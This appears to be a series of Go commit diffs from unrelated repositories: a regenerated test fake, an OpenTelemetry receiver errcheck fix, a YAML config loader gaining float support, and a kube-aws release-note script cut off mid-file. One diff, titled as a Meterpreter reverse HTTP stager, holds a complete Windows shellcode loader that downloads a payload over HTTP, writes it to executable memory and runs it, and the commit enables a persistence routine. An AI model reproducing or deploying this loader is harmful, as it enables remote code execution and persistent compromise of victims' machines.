func (fake *FakeOriginFactory) New(arg1 string) (origin.Origin, error) {
	fake.newMutex.Lock()
	fake.newArgsForCall = append(fake.newArgsForCall, struct {
		arg1 string
	}{arg1})
	fake.recordInvocation("New", []interface{}{arg1})
	fake.newMutex.Unlock()
	if fake.NewStub != nil {
		return fake.NewStub(arg1)
	}
	return fake.newReturns.result1, fake.newReturns.result2
}

func (fake *FakeOriginFactory) NewCallCount() int {
	fake.newMutex.RLock()
	defer fake.newMutex.RUnlock()
	return len(fake.newArgsForCall)
}

func (fake *FakeOriginFactory) NewArgsForCall(i int) string {
	fake.newMutex.RLock()
	defer fake.newMutex.RUnlock()
	return fake.newArgsForCall[i].arg1
}

func (fake *FakeOriginFactory) NewReturns(result1 origin.Origin, result2 error) {
	fake.NewStub = nil
	fake.newReturns = struct {
		result1 origin.Origin
		result2 error
	}{result1, result2}
}

func (fake *FakeOriginFactory) Invocations() map[string][][]interface{} {
	fake.invocationsMutex.RLock()
	defer fake.invocationsMutex.RUnlock()
	fake.newMutex.RLock()
	defer fake.newMutex.RUnlock()
	return fake.invocations
}

func (fake *FakeOriginFactory) recordInvocation(key string, args []interface{}) {
	fake.invocationsMutex.Lock()
	defer fake.invocationsMutex.Unlock()
	if fake.invocations == nil {
		fake.invocations = map[string][][]interface{}{}
	}
	if fake.invocations[key] == nil {
		fake.invocations[key] = [][]interface{}{}
	}
	fake.invocations[key] = append(fake.invocations[key], args)
}

var _ origin.OriginFactory = new(FakeOriginFactory)
<commit_msg>regenerate fakes<commit_after>// This file was generated by counterfeiter
package originfakes

import (
	"sync"

	"github.com/dpb587/metalink/origin"
)

type FakeOriginFactory struct {
	CreateStub        func(string) (origin.Origin, error)
	createMutex       sync.RWMutex
	createArgsForCall []struct {
		arg1 string
	}
	createReturns struct {
		result1 origin.Origin
		result2 error
	}
	invocations      map[string][][]interface{}
	invocationsMutex sync.RWMutex
}

func (fake *FakeOriginFactory) Create(arg1 string) (origin.Origin, error) {
	fake.createMutex.Lock()
	fake.createArgsForCall = append(fake.createArgsForCall, struct {
		arg1 string
	}{arg1})
	fake.recordInvocation("Create", []interface{}{arg1})
	fake.createMutex.Unlock()
	if fake.CreateStub != nil {
		return fake.CreateStub(arg1)
	}
	return fake.createReturns.result1, fake.createReturns.result2
}

func (fake *FakeOriginFactory) CreateCallCount() int {
	fake.createMutex.RLock()
	defer fake.createMutex.RUnlock()
	return len(fake.createArgsForCall)
}

func (fake *FakeOriginFactory) CreateArgsForCall(i int) string {
	fake.createMutex.RLock()
	defer fake.createMutex.RUnlock()
	return fake.createArgsForCall[i].arg1
}

func (fake *FakeOriginFactory) CreateReturns(result1 origin.Origin, result2 error) {
	fake.CreateStub = nil
	fake.createReturns = struct {
		result1 origin.Origin
		result2 error
	}{result1, result2}
}

func (fake *FakeOriginFactory) Invocations() map[string][][]interface{} {
	fake.invocationsMutex.RLock()
	defer fake.invocationsMutex.RUnlock()
	fake.createMutex.RLock()
	defer fake.createMutex.RUnlock()
	return fake.invocations
}

func (fake *FakeOriginFactory) recordInvocation(key string, args []interface{}) {
	fake.invocationsMutex.Lock()
	defer fake.invocationsMutex.Unlock()
	if fake.invocations == nil {
		fake.invocations = map[string][][]interface{}{}
	}
	if fake.invocations[key] == nil {
		fake.invocations[key] = [][]interface{}{}
	}
	fake.invocations[key] = append(fake.invocations[key], args)
}

var _ origin.OriginFactory = new(FakeOriginFactory)
<|endoftext|>


<commit_before>// Copyright The OpenTelemetry Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//       http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

// nolint:errcheck
package fluentforwardreceiver // import "github.com/open-telemetry/opentelemetry-collector-contrib/receiver/fluentforwardreceiver"

import (
	"context"

	"go.opencensus.io/stats"
	"go.opentelemetry.io/collector/consumer"
	"go.opentelemetry.io/collector/pdata/plog"
	"go.uber.org/zap"

	"github.com/open-telemetry/opentelemetry-collector-contrib/receiver/fluentforwardreceiver/observ"
)

// Collector acts as an aggregator of LogRecords so that we don't have to
// generate as many plog.Logs instances...we can pre-batch the LogRecord
// instances from several Forward events into one to hopefully reduce
// allocations and GC overhead.
type Collector struct {
	nextConsumer consumer.Logs
	eventCh      <-chan Event
	logger       *zap.Logger
}

func newCollector(eventCh <-chan Event, next consumer.Logs, logger *zap.Logger) *Collector {
	return &Collector{
		nextConsumer: next,
		eventCh:      eventCh,
		logger:       logger,
	}
}

func (c *Collector) Start(ctx context.Context) {
	go c.processEvents(ctx)
}

func (c *Collector) processEvents(ctx context.Context) {
	for {
		select {
		case <-ctx.Done():
			return
		case e := <-c.eventCh:
			buffered := []Event{e}
			// Pull out anything waiting on the eventCh to get better
			// efficiency on LogResource allocations.
			buffered = fillBufferUntilChanEmpty(c.eventCh, buffered)

			logs := collectLogRecords(buffered)
			c.nextConsumer.ConsumeLogs(ctx, logs)
		}
	}
}

func fillBufferUntilChanEmpty(eventCh <-chan Event, buf []Event) []Event {
	for {
		select {
		case e2 := <-eventCh:
			buf = append(buf, e2)
		default:
			return buf
		}
	}
}

func collectLogRecords(events []Event) plog.Logs {
	out := plog.NewLogs()
	rls := out.ResourceLogs().AppendEmpty()
	logSlice := rls.ScopeLogs().AppendEmpty().LogRecords()
	for i := range events {
		events[i].LogRecords().MoveAndAppendTo(logSlice)
	}
	stats.Record(context.Background(), observ.RecordsGenerated.M(int64(out.LogRecordCount())))
	return out
}
<commit_msg>[receiver/fluentforward] fix errcheck for fluentforwardreceiver (#12123)<commit_after>// Copyright The OpenTelemetry Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//       http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package fluentforwardreceiver // import "github.com/open-telemetry/opentelemetry-collector-contrib/receiver/fluentforwardreceiver"

import (
	"context"

	"go.opencensus.io/stats"
	"go.opentelemetry.io/collector/consumer"
	"go.opentelemetry.io/collector/pdata/plog"
	"go.uber.org/zap"

	"github.com/open-telemetry/opentelemetry-collector-contrib/receiver/fluentforwardreceiver/observ"
)

// Collector acts as an aggregator of LogRecords so that we don't have to
// generate as many plog.Logs instances...we can pre-batch the LogRecord
// instances from several Forward events into one to hopefully reduce
// allocations and GC overhead.
type Collector struct {
	nextConsumer consumer.Logs
	eventCh      <-chan Event
	logger       *zap.Logger
}

func newCollector(eventCh <-chan Event, next consumer.Logs, logger *zap.Logger) *Collector {
	return &Collector{
		nextConsumer: next,
		eventCh:      eventCh,
		logger:       logger,
	}
}

func (c *Collector) Start(ctx context.Context) {
	go c.processEvents(ctx)
}

func (c *Collector) processEvents(ctx context.Context) {
	for {
		select {
		case <-ctx.Done():
			return
		case e := <-c.eventCh:
			buffered := []Event{e}
			// Pull out anything waiting on the eventCh to get better
			// efficiency on LogResource allocations.
			buffered = fillBufferUntilChanEmpty(c.eventCh, buffered)

			logs := collectLogRecords(buffered)
			_ = c.nextConsumer.ConsumeLogs(ctx, logs)
		}
	}
}

func fillBufferUntilChanEmpty(eventCh <-chan Event, buf []Event) []Event {
	for {
		select {
		case e2 := <-eventCh:
			buf = append(buf, e2)
		default:
			return buf
		}
	}
}

func collectLogRecords(events []Event) plog.Logs {
	out := plog.NewLogs()
	rls := out.ResourceLogs().AppendEmpty()
	logSlice := rls.ScopeLogs().AppendEmpty().LogRecords()
	for i := range events {
		events[i].LogRecords().MoveAndAppendTo(logSlice)
	}
	stats.Record(context.Background(), observ.RecordsGenerated.M(int64(out.LogRecordCount())))
	return out
}
<|endoftext|>


<commit_before>package confoo

import (
	"fmt"
	"io/ioutil"
	"os"
	"reflect"
	"strconv"
	"strings"

	yaml "gopkg.in/yaml.v2"
)

const confVar = "CONFOO_CONFIG or CONFOO_CONFIG_FILE"

func errorPanic(format string, a ...interface{}) {
	m := fmt.Sprintf(format, a...)
	m2 := "CONFOO - " + m
	panic(m2)
}

var confData map[interface{}]interface{}

func init() {
	confFile, confReceived := os.LookupEnv("CONFOO_CONFIG")
	if !confReceived {
		confFile, confReceived = os.LookupEnv("CONFOO_CONFIG_FILE")

		if !confReceived {
			errorPanic(confVar + " is not set")
		}
	}

	data, err := ioutil.ReadFile(confFile)
	if err != nil {
		errorPanic(err.Error())
	}

	confData = make(map[interface{}]interface{})
	err = yaml.Unmarshal(data, &confData)
	if err != nil {
		errorPanic("cannot decode yaml data")
	}
}

//Configure loads the value of the path of the yml of the CONFOO_CONFIG_FILE into target
func Configure(path string, target interface{}) {
	subConf := getSubConf(path, confData)
	if subConf != nil {
		configPath(path, reflect.ValueOf(target), subConf)
	}
}

//ConfigureFromFile reads ymlFile and loads the value of the path into target
func ConfigureFromFile(ymlFile, path string, target interface{}) error {

	data, err := ioutil.ReadFile(ymlFile)
	if err != nil {
		return err
	}

	confData := make(map[interface{}]interface{})
	err = yaml.Unmarshal(data, &confData)
	if err != nil {
		return err
	}

	subConf := getSubConf(path, confData)
	if subConf != nil {
		configPath(path, reflect.ValueOf(target), subConf)
	}
	return nil
}

func getSubConf(path string, conf interface{}) interface{} {
	subConf := conf
	for _, p := range strings.Split(path, ".") {
		m, ok := subConf.(map[interface{}]interface{})
		if !ok {
			errorPanic("%s: path not found", path)
		}

		subConf, ok = m[p]
		if !ok {
			return nil
		}
	}
	return subConf
}

func normalizeKey(s string) string {
	parts := strings.Split(s, "_")
	for i, p := range parts {
		parts[i] = strings.Title(p)
	}
	return strings.Join(parts, "")
}

func replaceKey(s string) string {
	if strings.Contains(s, "$hostname") {
		hostname, error := os.Hostname()
		if error != nil {
			errorPanic("Error while retrieving the hostname: %s", error)
		}

		return strings.Replace(s, "$hostname", hostname, -1)
	}

	return s
}

func replaceValue(s string) string {
	if strings.Contains(s, "$public_hostname") {
		content, err := ioutil.ReadFile("/etc/public_hostname")
		if err != nil {
			fmt.Println(err)
			return s
		}

		public_hostname := strings.TrimSuffix(string(content), "\n")
		return strings.Replace(s, "$public_hostname", public_hostname, -1)
	}

	return s
}

func configStruct(path string, dest reflect.Value, conf interface{}) {
	if conf == nil {
		return
	}
	confMap, ok := conf.(map[interface{}]interface{})
	if !ok {
		errorPanic("%s: expected map not found", path)
	}
	for k, subConf := range confMap {
		kk, ok := k.(string)
		if !ok {
			//FIXME log event if CONFOO_DEBUG is set
			//errorPanic("%s.%v: map key is not a string", path, k)
			continue
		}
		fieldName := normalizeKey(kk)
		fieldVal := dest.FieldByName(fieldName)
		if fieldVal.Kind() == reflect.Invalid {
			//FIXME log event if CONFOO_DEBUG is set
			//errorPanic("%s.%v: field not present in target struct", path, k)
			continue
		}
		configPath(path+"."+kk, dest.FieldByName(fieldName), subConf)
	}
}

func configPath(path string, dest reflect.Value, conf interface{}) {
	destKind := dest.Kind()
	switch destKind {
	case reflect.Ptr:
		if dest.Type().Elem().Kind() == reflect.Struct && dest.IsNil() {
			dest.Set(reflect.New(dest.Type().Elem()))
		}
		configPath(path, dest.Elem(), conf)
	case reflect.Interface:
		dest.Set(reflect.ValueOf(conf))
	case reflect.Struct:
		configStruct(path, dest, conf)
	case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,
		reflect.Bool:
		confValue := reflect.ValueOf(conf)
		confKind := confValue.Kind()
		if confKind != destKind {
			dType := dest.Type()
			cType := confValue.Type()
			errorPanic("%s: target type %v != conf type %v", path, dType, cType)
		}
		dest.Set(confValue)
	case reflect.String:
		conf = replaceValue(conf.(string))
		confValue := reflect.ValueOf(conf)
		confKind := confValue.Kind()
		if confKind != destKind {
			dType := dest.Type()
			cType := confValue.Type()
			errorPanic("%s: target type %v != conf type %v", path, dType, cType)
		}
		dest.Set(confValue)
	case reflect.Slice:
		dest.Set(dest.Slice(0, 0))
		for i, el := range conf.([]interface{}) {
			idx := strconv.Itoa(i)
			elVal := reflect.New(dest.Type().Elem())
			configPath(path+"."+idx, elVal, el)
			dest.Set(reflect.Append(dest, elVal.Elem()))
		}
	case reflect.Map:
		dest.Set(reflect.MakeMap(dest.Type()))
		for k, el := range conf.(map[interface{}]interface{}) {
			kk := k.(string)
			kk = replaceKey(kk)
			elVal := reflect.New(dest.Type().Elem())
			configPath(path+"."+kk, elVal, el)
			dest.SetMapIndex(reflect.ValueOf(kk), elVal.Elem())
		}
	default:
		errorPanic("%s: conf type %v not handled", path, dest.Type())
	}
}
<commit_msg>parse float32, float64 values<commit_after>package confoo

import (
	"fmt"
	"io/ioutil"
	"os"
	"reflect"
	"strconv"
	"strings"

	yaml "gopkg.in/yaml.v2"
)

const confVar = "CONFOO_CONFIG or CONFOO_CONFIG_FILE"

func errorPanic(format string, a ...interface{}) {
	m := fmt.Sprintf(format, a...)
	m2 := "CONFOO - " + m
	panic(m2)
}

var confData map[interface{}]interface{}

func init() {
	confFile, confReceived := os.LookupEnv("CONFOO_CONFIG")
	if !confReceived {
		confFile, confReceived = os.LookupEnv("CONFOO_CONFIG_FILE")

		if !confReceived {
			errorPanic(confVar + " is not set")
		}
	}

	data, err := ioutil.ReadFile(confFile)
	if err != nil {
		errorPanic(err.Error())
	}

	confData = make(map[interface{}]interface{})
	err = yaml.Unmarshal(data, &confData)
	if err != nil {
		errorPanic("cannot decode yaml data")
	}
}

//Configure loads the value of the path of the yml of the CONFOO_CONFIG_FILE into target
func Configure(path string, target interface{}) {
	subConf := getSubConf(path, confData)
	if subConf != nil {
		configPath(path, reflect.ValueOf(target), subConf)
	}
}

//ConfigureFromFile reads ymlFile and loads the value of the path into target
func ConfigureFromFile(ymlFile, path string, target interface{}) error {

	data, err := ioutil.ReadFile(ymlFile)
	if err != nil {
		return err
	}

	confData := make(map[interface{}]interface{})
	err = yaml.Unmarshal(data, &confData)
	if err != nil {
		return err
	}

	subConf := getSubConf(path, confData)
	if subConf != nil {
		configPath(path, reflect.ValueOf(target), subConf)
	}
	return nil
}

func getSubConf(path string, conf interface{}) interface{} {
	subConf := conf
	for _, p := range strings.Split(path, ".") {
		m, ok := subConf.(map[interface{}]interface{})
		if !ok {
			errorPanic("%s: path not found", path)
		}

		subConf, ok = m[p]
		if !ok {
			return nil
		}
	}
	return subConf
}

func normalizeKey(s string) string {
	parts := strings.Split(s, "_")
	for i, p := range parts {
		parts[i] = strings.Title(p)
	}
	return strings.Join(parts, "")
}

func replaceKey(s string) string {
	if strings.Contains(s, "$hostname") {
		hostname, error := os.Hostname()
		if error != nil {
			errorPanic("Error while retrieving the hostname: %s", error)
		}

		return strings.Replace(s, "$hostname", hostname, -1)
	}

	return s
}

func replaceValue(s string) string {
	if strings.Contains(s, "$public_hostname") {
		content, err := ioutil.ReadFile("/etc/public_hostname")
		if err != nil {
			fmt.Println(err)
			return s
		}

		public_hostname := strings.TrimSuffix(string(content), "\n")
		return strings.Replace(s, "$public_hostname", public_hostname, -1)
	}

	return s
}

func configStruct(path string, dest reflect.Value, conf interface{}) {
	if conf == nil {
		return
	}
	confMap, ok := conf.(map[interface{}]interface{})
	if !ok {
		errorPanic("%s: expected map not found", path)
	}
	for k, subConf := range confMap {
		kk, ok := k.(string)
		if !ok {
			//FIXME log event if CONFOO_DEBUG is set
			//errorPanic("%s.%v: map key is not a string", path, k)
			continue
		}
		fieldName := normalizeKey(kk)
		fieldVal := dest.FieldByName(fieldName)
		if fieldVal.Kind() == reflect.Invalid {
			//FIXME log event if CONFOO_DEBUG is set
			//errorPanic("%s.%v: field not present in target struct", path, k)
			continue
		}
		configPath(path+"."+kk, dest.FieldByName(fieldName), subConf)
	}
}

func configPath(path string, dest reflect.Value, conf interface{}) {
	destKind := dest.Kind()
	switch destKind {
	case reflect.Ptr:
		if dest.Type().Elem().Kind() == reflect.Struct && dest.IsNil() {
			dest.Set(reflect.New(dest.Type().Elem()))
		}
		configPath(path, dest.Elem(), conf)
	case reflect.Interface:
		dest.Set(reflect.ValueOf(conf))
	case reflect.Struct:
		configStruct(path, dest, conf)
	case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,
		reflect.Float32, reflect.Float64, reflect.Bool:
		confValue := reflect.ValueOf(conf)
		confKind := confValue.Kind()
		if confKind != destKind {
			dType := dest.Type()
			cType := confValue.Type()
			errorPanic("%s: target type %v != conf type %v", path, dType, cType)
		}
		dest.Set(confValue)
	case reflect.String:
		conf = replaceValue(conf.(string))
		confValue := reflect.ValueOf(conf)
		confKind := confValue.Kind()
		if confKind != destKind {
			dType := dest.Type()
			cType := confValue.Type()
			errorPanic("%s: target type %v != conf type %v", path, dType, cType)
		}
		dest.Set(confValue)
	case reflect.Slice:
		dest.Set(dest.Slice(0, 0))
		for i, el := range conf.([]interface{}) {
			idx := strconv.Itoa(i)
			elVal := reflect.New(dest.Type().Elem())
			configPath(path+"."+idx, elVal, el)
			dest.Set(reflect.Append(dest, elVal.Elem()))
		}
	case reflect.Map:
		dest.Set(reflect.MakeMap(dest.Type()))
		for k, el := range conf.(map[interface{}]interface{}) {
			kk := k.(string)
			kk = replaceKey(kk)
			elVal := reflect.New(dest.Type().Elem())
			configPath(path+"."+kk, elVal, el)
			dest.SetMapIndex(reflect.ValueOf(kk), elVal.Elem())
		}
	default:
		errorPanic("%s: conf type %v not handled", path, dest.Type())
	}
}
<|endoftext|>


<commit_before>package main

import "net/http"
import "syscall"
import "unsafe"
import "io/ioutil"
//import "EGESPLOIT/RSE"

const MEM_COMMIT  = 0x1000
const MEM_RESERVE = 0x2000
const PAGE_AllocateUTE_READWRITE  = 0x40

var K32 = syscall.NewLazyDLL("kernel32.dll")
var VirtualAlloc = K32.NewProc("VirtualAlloc")
var Address string = "http://127.0.0.1:8080/"
var Checksum string = "102011b7txpl71n"

func main() {
  //RSE.Persistence()
  Address += Checksum
  Response, err := http.Get(Address)
  if err != nil {
    main()
  }
  Shellcode, _ := ioutil.ReadAll(Response.Body)

  Addr, _, err := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_AllocateUTE_READWRITE)
  if Addr == 0 {
    main()
  }
  AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
  for i := 0; i < len(Shellcode); i++ {
    AddrPtr[i] = Shellcode[i]
  }
  //RSE.Migrate(Addr, len(Shellcode))
  syscall.Syscall(Addr, 0, 0, 0, 0)

}
<commit_msg>Update Meterpreter_Reverse_HTTP_HTTPS.go<commit_after>package main

import "net/http"
import "syscall"
import "unsafe"
import "io/ioutil"
import "EGESPLOIT/RSE"

const MEM_COMMIT  = 0x1000
const MEM_RESERVE = 0x2000
const PAGE_AllocateUTE_READWRITE  = 0x40

var K32 = syscall.NewLazyDLL("kernel32.dll")
var VirtualAlloc = K32.NewProc("VirtualAlloc")
var Address string = "http://127.0.0.1:8080/"
var Checksum string = "102011b7txpl71n"

func main() {
  RSE.Persistence()
  Address += Checksum
  Response, err := http.Get(Address)
  if err != nil {
    main()
  }
  Shellcode, _ := ioutil.ReadAll(Response.Body)

  Addr, _, err := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_AllocateUTE_READWRITE)
  if Addr == 0 {
    main()
  }
  AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
  for i := 0; i < len(Shellcode); i++ {
    AddrPtr[i] = Shellcode[i]
  }
  //RSE.Migrate(Addr, len(Shellcode))
  syscall.Syscall(Addr, 0, 0, 0, 0)

}
<|endoftext|>


<commit_before>package main

import (
	"bufio"
	"bytes"
	"fmt"
	"log"
	"os"
	"os/exec"
	"strings"

	"github.com/google/go-github/github"
	"golang.org/x/net/context"
	"golang.org/x/oauth2"
)

type Item struct {
	number          int
	title           string
	summary         string
	actionsRequired string
	isDocUpdate     bool
	isMetaUpdate    bool
	isImprovement   bool
	isFeature       bool
	isBugFix        bool
	isProposal      bool
	isRefactoring   bool
}

func Info(msg string) {
	println(msg)
}

func Header(title string) {
	fmt.Printf("\n## %s\n\n", title)
}

func PanicIfError(err error) {
	if err != nil {
		panic(err)
	}
}

func capture(cmdName string, cmdArgs []string) (string, error) {
	fmt.Printf("running %s %v\n", cmdName, cmdArgs)
	cmd := exec.Command(cmdName, cmdArgs...)

	stdoutBuffer := bytes.Buffer{}

	{
		stdoutReader, err := cmd.StdoutPipe()
		if err != nil {
			return "", fmt.Errorf("failed to pipe stdout: %v", err)
		}

		stdoutScanner := bufio.NewScanner(stdoutReader)
		go func() {
			for stdoutScanner.Scan() {
				stdoutBuffer.WriteString(stdoutScanner.Text())
			}
		}()
	}

	stderrBuffer := bytes.Buffer{}
	{
		stderrReader, err := cmd.StderrPipe()
		if err != nil {
			return "", fmt.Errorf("failed to pipe stderr: %v", err)
		}

		stderrScanner := bufio.NewScanner(stderrReader)
		go func() {
			for stderrScanner.Scan() {
				stderrBuffer.WriteString(stderrScanner.Text())
			}
		}()
	}

	err := cmd.Start()
	if err != nil {
		return "", fmt.Errorf("failed to start command: %v: %s", err, stderrBuffer.String())
	}

	err = cmd.Wait()
	if err != nil {
		return "", fmt.Errorf("failed to wait command: %v: %s", err, stderrBuffer.String())
	}

	return stdoutBuffer.String(), nil
}

func filesChangedInCommit(refName string) []string {
	output, err := capture("bash", []string{"-c", fmt.Sprintf("git log -m -1 --name-only --pretty=format: %s | awk -v RS=  '{ print; exit }'", refName)})
	if err != nil {
		panic(err)
	}
	files := strings.Split(output, "\n")
	return files
}

func onlyDocsAreChanged(files []string) bool {
	all := true
	for _, file := range files {
		all = all && (strings.HasPrefix(file, "Documentation/") || strings.HasPrefix(file, "docs/"))
	}
	return all
}

func onlyTopLevelFilesAreChanged(files []string) bool {
	all := true
	for _, file := range files {
		all = all && len(strings.Split(file, "/")) == 1
	}
	return all
}

func containsAny(str string, substrs []string) bool {
	for _, sub := range substrs {
		if strings.Contains(str, sub) {
			return true
		}
	}
	return false
}

type Labels []github.Label

func (labels Labels) Contains(name string) bool {
	found := false
	for _, label := range labels {
		if label.GetName() == name {
			found = true
		}
	}
	return found
}

var errorlog *log.Logger

func init() {
	errorlog = log.New(os.Stderr, "", 0)
}

func exitWithErrorMessage(msg string) {
	errorlog.Println(msg)
	os.Exit(1)
}

func indent(orig string, num int) string {
	lines := strings.Split(orig, "\n")
	space := ""
	buf := bytes.Buffer{}
	for i := 0; i < num; i++ {
		space = space + " "
	}
	for _, line := range lines {
		buf.WriteString(fmt.Sprintf("%s%s\n", space, line))
	}
	return buf.String()
}

func generateNote(primaryMaintainer string, org string, repository string, releaseVersion string) {
	accessToken, found := os.LookupEnv("GITHUB_ACCESS_TOKEN")
	if !found {
		exitWithErrorMessage("GITHUB_ACCESS_TOKEN must be set")
	}
	ctx := context.Background()
	ts := oauth2.StaticTokenSource(
		&oauth2.Token{AccessToken: accessToken},
	)
	tc := oauth2.NewClient(ctx, ts)

	client := github.NewClient(tc)

	milestoneOpt := &github.MilestoneListOptions{
		ListOptions: github.ListOptions{PerPage: 10},
	}

	allMilestones := []*github.Milestone{}
	for {
		milestones, resp, err := client.Issues.ListMilestones(ctx, org, repository, milestoneOpt)
		PanicIfError(err)
		allMilestones = append(allMilestones, milestones...)
		if resp.NextPage == 0 {
			break
		}
		milestoneOpt.Page = resp.NextPage
	}

	milestoneNumber := -1
	for _, m := range allMilestones {
		if m.GetTitle() == releaseVersion {
			milestoneNumber = m.GetNumber()
		}
	}
	if milestoneNumber == -1 {
		exitWithErrorMessage(fmt.Sprintf("Milestone titled \"%s\" not found", releaseVersion))
	}

	opt := &github.IssueListByRepoOptions{
		ListOptions: github.ListOptions{PerPage: 10},
		State:       "closed",
		Sort:        "created",
		Direction:   "asc",
		Milestone:   fmt.Sprintf("%d", milestoneNumber),
	}

	items := []Item{}

	// list all organizations for user "mumoshu"
	var allIssues []*github.Issue
	for {
		issues, resp, err := client.Issues.ListByRepo(ctx, org, repository, opt)
		PanicIfError(err)
		for _, issue := range issues {
			if issue.PullRequestLinks == nil {
				fmt.Printf("skipping issue #%d %s\n", issue.GetNumber(), issue.GetTitle())
				continue
			}
			pr, _, err := client.PullRequests.Get(ctx, org, repository, issue.GetNumber())
			PanicIfError(err)
			if !pr.GetMerged() {
				continue
			}
			hash := pr.GetMergeCommitSHA()

			login := issue.User.GetLogin()
			num := issue.GetNumber()
			title := issue.GetTitle()
			summary := ""
			if login != primaryMaintainer {
				summary = fmt.Sprintf("#%d: %s(Thanks to @%s)", num, title, login)
			} else {
				summary = fmt.Sprintf("#%d: %s", num, title)
			}

			labels := Labels(issue.Labels)

			isRefactoring := labels.Contains("refactoring")

			fmt.Printf("analyzing #%d %s...\n", num, title)
			fmt.Printf("labels=%v\n", labels)
			changedFiles := filesChangedInCommit(hash)

			isDocUpdate := onlyDocsAreChanged(changedFiles)
			if isDocUpdate {
				fmt.Printf("%s is doc update\n", title)
			}

			isMetaUpdate := onlyTopLevelFilesAreChanged(changedFiles)
			if isMetaUpdate {
				fmt.Printf("%s is meta update\n", title)
			}

			isBugFix := labels.Contains("bug") ||
				(!isRefactoring && !isDocUpdate && !isMetaUpdate && (strings.Contains(title, "fix") || strings.Contains(title, "Fix")))

			isProposal := labels.Contains("proposal") ||
				(!isRefactoring && !isDocUpdate && !isMetaUpdate && !isBugFix && (strings.Contains(title, "proposal") || strings.Contains(title, "Proposal")))

			isImprovement := labels.Contains("improvement") ||
				(!isRefactoring && !isDocUpdate && !isMetaUpdate && !isBugFix && !isProposal && containsAny(title, []string{"improve", "Improve", "update", "Update", "bump", "Bump", "Rename", "rename"}))

			isFeature := labels.Contains("feature") ||
				(!isRefactoring && !isDocUpdate && !isMetaUpdate && !isBugFix && !isProposal && !isImprovement)

			actionsRequired := ""
			noteShouldBeAdded := false
			for _, label := range issue.Labels {
				if label.GetName() == "release-note" {
					noteShouldBeAdded = true
				}
			}
			if noteShouldBeAdded {
				body := issue.GetBody()
				splits := strings.Split(body, "**Release note**:")
				if len(splits) != 2 {
					panic(fmt.Errorf("failed to extract release note from PR body: unexpected format of PR body: it should include \"**Release note**:\" followed by note: issue=%s body=%s", title, body))
				}
				fmt.Printf("actions required(raw)=\"%s\"\n", splits[1])
				actionsRequired = strings.TrimSpace(splits[1])
				fmt.Printf("actions required(trimmed)=\"%s\"\n", actionsRequired)

				if !strings.HasPrefix(actionsRequired, "* ") {
					actionsRequired = fmt.Sprintf("* %s", actionsRequired)
				}
			}

			item := Item{
				number:          num,
				title:           title,
				summary:         summary,
				actionsRequired: actionsRequired,
				isMetaUpdate:    isMetaUpdate,
				isDocUpdate:     isDocUpdate,
				isImprovement:   isImprovement,
				isFeature:       isFeature,
				isBugFix:        isBugFix,
				isProposal:      isProposal,
				isRefactoring:   isRefactoring,
			}
			items = append(items, item)
			//Info(summary)
		}
		allIssues = append(allIssues, issues...)
		if resp.NextPage == 0 {
			break
		}
		opt.Page = resp.NextPage
	}

	Info("# Changelog since v")

	Header("Component versions")

	println("Kubernetes: v")
	println("Etcd: v")

	Header("Actions required")
	for _, item := range items {
		if item.actionsRequired != "" {
			fmt.Printf("* #%d: %s\n%s\n", item.number, item.title, indent(item.actionsRequired, 2))
		}
	}

	Header("Features")
	for _, item := range items {
		if item.isFeature {
			Info("* " + item.summary)
		}
	}

	Header("Improvements")
	for _, item := range items {
		if item.isImprovement {
			Info("* " + item.summary)
		}
	}

	Header("Bug fixes")
	for _, item := range items {
		if item.isBugFix {
			Info("* " + item.summary)
		}
	}

	Header("Documentation")
	for _, item := range items {
		if item.isDocUpdate {
			Info("* " + item.summary)
		}
	}

	Header("Refactorings")
	for _, item := range items {
		if item.isRefactoring {
			Info("* " + item.summary)
		}
	}

	Header("Other changes")
	for _, item := range items {
		if !item.isDocUpdate && !item.isFeature && !item.isImprovement && !item.isBugFix && !item.isRefactoring {
			Info("* " + item.summary)
		}
	}
}

func main() {
	releaseVersion, found := os.LookupEnv("VERSION")
	if !found {
		exitWithErrorMessage("VERSION must be set")
	}
	generateNote("mumoshu", "kubernetes-incubator", "kube-aws", releaseVersion)
}
<commit_msg>Improve the release note gathering script * Also consider changes under `hack/`, `ci/`, `e2e/` to be categorized into the "Other changes" section of a release note * Label an issue with "feature" to categorize it into the "Features" section<commit_after>package main

import (
	"bufio"
	"bytes"
	"fmt"
	"log"
	"os"
	"os/exec"
	"strings"

	"github.com/google/go-github/github"
	"golang.org/x/net/context"
	"golang.org/x/oauth2"
)

type Item struct {
	number          int
	title           string
	summary         string
	actionsRequired string
	isDocUpdate     bool
	isMetaUpdate    bool
	isImprovement   bool
	isFeature       bool
	isBugFix        bool
	isProposal      bool
	isRefactoring   bool
}

func Info(msg string) {
	println(msg)
}

func Header(title string) {
	fmt.Printf("\n## %s\n\n", title)
}

func PanicIfError(err error) {
	if err != nil {
		panic(err)
	}
}

func capture(cmdName string, cmdArgs []string) (string, error) {
	fmt.Printf("running %s %v\n", cmdName, cmdArgs)
	cmd := exec.Command(cmdName, cmdArgs...)

	stdoutBuffer := bytes.Buffer{}

	{
		stdoutReader, err := cmd.StdoutPipe()
		if err != nil {
			return "", fmt.Errorf("failed to pipe stdout: %v", err)
		}

		stdoutScanner := bufio.NewScanner(stdoutReader)
		go func() {
			for stdoutScanner.Scan() {
				stdoutBuffer.WriteString(stdoutScanner.Text())
			}
		}()
	}

	stderrBuffer := bytes.Buffer{}
	{
		stderrReader, err := cmd.StderrPipe()
		if err != nil {
			return "", fmt.Errorf("failed to pipe stderr: %v", err)
